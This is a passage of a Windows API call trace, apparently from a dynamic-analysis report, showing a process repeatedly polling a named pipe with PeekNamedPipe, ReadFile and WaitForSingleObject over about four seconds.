lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0067.380] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0067.380] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.464] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x3f, lpBytesLeftThisMessage=0x0) returned 1 [0067.465] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x3f, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x3f, lpOverlapped=0x0) returned 1 [0067.465] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.526] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0067.526] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.639] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0067.639] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0067.639] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.708] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0067.708] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.790] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x40, lpBytesLeftThisMessage=0x0) returned 1 [0067.790] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x40, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x40, lpOverlapped=0x0) returned 1 [0067.790] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.863] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0067.863] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0067.914] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0067.915] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0067.915] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.012] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0068.013] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.111] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x3a, lpBytesLeftThisMessage=0x0) returned 1 [0068.111] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x3a, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x3a, lpOverlapped=0x0) returned 1 [0068.111] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.164] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0068.164] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0068.164] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.205] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0068.206] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.282] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x3a, lpBytesLeftThisMessage=0x0) returned 1 [0068.282] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x3a, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x3a, lpOverlapped=0x0) returned 1 [0068.282] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.371] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0068.371] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.421] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x1c, lpBytesLeftThisMessage=0x0) returned 1 [0068.421] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x1c, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x1c, lpOverlapped=0x0) returned 1 [0068.421] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.454] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x3f, lpBytesLeftThisMessage=0x0) returned 1 [0068.454] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x3f, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x3f, lpOverlapped=0x0) returned 1 [0068.454] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.522] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0068.522] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0068.522] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.552] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x3a, lpBytesLeftThisMessage=0x0) returned 1 [0068.552] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x3a, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x3a, lpOverlapped=0x0) returned 1 [0068.553] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.590] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0068.590] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.687] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0068.687] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0068.687] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.748] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x42, lpBytesLeftThisMessage=0x0) returned 1 [0068.749] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x42, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x42, lpOverlapped=0x0) returned 1 [0068.749] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0068.986] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xa0, lpBytesLeftThisMessage=0x0) returned 1 [0068.986] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xa0, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xa0, lpOverlapped=0x0) returned 1 [0068.986] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0069.027] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0069.028] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0069.067] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xa3, lpBytesLeftThisMessage=0x0) returned 1 [0069.068] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xa3, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xa3, lpOverlapped=0x0) returned 1 [0069.068] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0069.105] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0069.105] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0069.349] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x9f, lpBytesLeftThisMessage=0x0) returned 1 [0069.349] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x9f, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x9f, lpOverlapped=0x0) returned 1 [0069.350] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0069.387] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0069.388] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0069.434] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xa1, lpBytesLeftThisMessage=0x0) returned 1 [0069.434] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xa1, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xa1, lpOverlapped=0x0) returned 1 [0069.435] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0069.509] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0069.509] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0069.509] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0069.713] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x41, lpBytesLeftThisMessage=0x0) returned 1 [0069.713] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x41, lpOverlapped=0x0) returned 1 [0069.713] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0069.751] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0069.751] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0069.786] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xa5, lpBytesLeftThisMessage=0x0) returned 1 [0069.786] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xa5, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xa5, lpOverlapped=0x0) returned 1 [0069.786] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0069.821] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0069.821] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0069.864] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x9e, lpBytesLeftThisMessage=0x0) returned 1 [0069.864] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x9e, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x9e, lpOverlapped=0x0) returned 1 [0069.864] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0069.985] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0069.985] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0070.016] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0070.016] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0070.016] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0070.077] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x47, lpBytesLeftThisMessage=0x0) returned 1 [0070.077] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x47, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x47, lpOverlapped=0x0) returned 1 [0070.077] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0070.260] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0070.260] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0070.260] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0070.293] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x4a, lpBytesLeftThisMessage=0x0) returned 1 [0070.293] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x4a, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x4a, lpOverlapped=0x0) returned 1 [0070.293] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0070.328] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0070.328] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0070.370] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x9a, lpBytesLeftThisMessage=0x0) returned 1 [0070.370] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x9a, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x9a, lpOverlapped=0x0) returned 1 [0070.370] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0070.409] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0070.409] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0070.567] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x9d, lpBytesLeftThisMessage=0x0) returned 1 [0070.567] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x9d, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x9d, lpOverlapped=0x0) returned 1 [0070.567] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0070.608] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0070.608] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0070.636] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0070.636] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0070.636] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0070.696] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x49, lpBytesLeftThisMessage=0x0) returned 1 [0070.696] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x49, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x49, lpOverlapped=0x0) returned 1 [0070.696] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0070.955] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0070.955] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0070.955] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0071.016] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, 